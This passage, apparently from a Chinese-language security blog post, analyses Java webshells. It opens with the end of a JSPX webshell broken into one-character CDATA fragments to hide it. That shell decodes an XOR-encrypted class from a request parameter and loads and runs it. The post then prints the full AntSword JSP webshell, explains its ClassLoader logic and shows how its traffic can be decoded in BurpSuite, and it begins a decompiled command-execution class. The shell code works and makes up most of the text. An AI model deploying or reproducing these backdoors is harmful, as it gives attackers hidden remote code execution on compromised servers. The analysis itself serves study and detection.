]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">2</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;/jsp:declaration&gt;&lt;jsp:scriptlet&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[q]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[P]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[X]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[L]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[Q]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[q]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[q]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[q]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[W]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[<span class="number">5</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="number">0</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[<span class="number">1</span>]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[W]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[W]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[<span class="number">5</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="number">1</span>]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;/jsp:scriptlet&gt;&lt;/jsp:root&gt;</span><br></pre></td></tr></table></figure>



<h1 id="ClassLoad"><a href="#ClassLoad" class="headerlink" title="ClassLoad"></a>ClassLoad</h1><p>现阶段大部分java类型的shell（蚁剑、冰蝎、哥斯拉等）都是通过classLoad的方式去动态加载，相对以前的大马体积小了很多。</p>
<h2 id="蚁剑-1"><a href="#蚁剑-1" class="headerlink" title="蚁剑"></a>蚁剑</h2><p>这里以蚁剑为例。首先看一下蚁剑jsp类型的webshell</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;%!</span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">U</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> &#123;</span><br><span class="line">        U(ClassLoader c) &#123;</span><br><span class="line">            <span class="built_in">super</span>(c);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> Class <span class="title function_">g</span><span class="params">(<span class="type">byte</span>[] b)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">super</span>.defineClass(b, <span class="number">0</span>, b.length);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] base64Decode(String str) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">      Class base64;</span><br><span class="line">      <span class="type">byte</span>[] value = <span class="literal">null</span>;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        base64=Class.forName(<span class="string">&quot;sun.misc.BASE64Decoder&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">decoder</span> <span class="operator">=</span> base64.newInstance();</span><br><span class="line">        value = (<span class="type">byte</span>[])decoder.getClass().getMethod(<span class="string">&quot;decodeBuffer&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123;String.class &#125;).invoke(decoder, <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; str &#125;);</span><br><span class="line">      &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          base64=Class.forName(<span class="string">&quot;java.util.Base64&quot;</span>);</span><br><span class="line">          <span class="type">Object</span> <span class="variable">decoder</span> <span class="operator">=</span> base64.getMethod(<span class="string">&quot;getDecoder&quot;</span>, <span class="literal">null</span>).invoke(base64, <span class="literal">null</span>);</span><br><span class="line">          value = (<span class="type">byte</span>[])decoder.getClass().getMethod(<span class="string">&quot;decode&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; String.class &#125;).invoke(decoder, <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; str &#125;);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception ee) &#123;&#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">%&gt;</span><br><span class="line">&lt;%</span><br><span class="line">    <span class="type">String</span> <span class="variable">cls</span> <span class="operator">=</span> request.getParameter(<span class="string">&quot;ant&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (cls != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">U</span>(<span class="built_in">this</span>.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;request,response&#125;);</span><br><span class="line">    &#125;</span><br><span class="line">%&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>整体逻辑获取ant参数值，判断ant参数值是否为空。不为空，将其base64解码，通过defineClass、getClassLoader等将其动态加载执行。<br>通过代理将蚁剑请求流量代理到BurpSuite，可直接将ant的参数值使用工具解码出来。</p>
<p><img data-src="https://i.loli.net/2021/08/09/KRADdG4BVN93jp2.png" alt="antSwordProxy"></p>
<p>也可以直接查看原始文件，路径source&#x2F;core&#x2F;jsp&#x2F;template&#x2F;command.js<br><img data-src="https://i.loli.net/2021/08/09/lfdnHWO198ybje3.png" alt="antSwordCommand"></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> command.Exec;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exec</span> &#123;</span><br><span class="line">  <span class="keyword">public</span> <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">String</span> <span class="variable">encoder</span> <span class="operator">=</span> <span class="string">&quot;base64&quot;</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">String</span> <span class="variable">cs</span> <span class="operator">=</span> <span class="string">&quot;antswordCharset&quot;</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">String</span> <span class="variable">randomPrefix</span> <span class="operator">=</span> <span class="string">&quot;antswordrandomPrefix&quot;</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String decoderClassdata;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object paramObject)</span> &#123;</span><br><span class="line">    parseObj(paramObject);</span><br><span class="line">    <span class="type">StringBuffer</span> <span class="variable">stringBuffer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line">    <span class="type">String</span> <span class="variable">str1</span> <span class="operator">=</span> <span class="string">&quot;-&gt;|&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str2</span> <span class="operator">=</span> <span class="string">&quot;|&lt;-&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str3</span> <span class="operator">=</span> <span 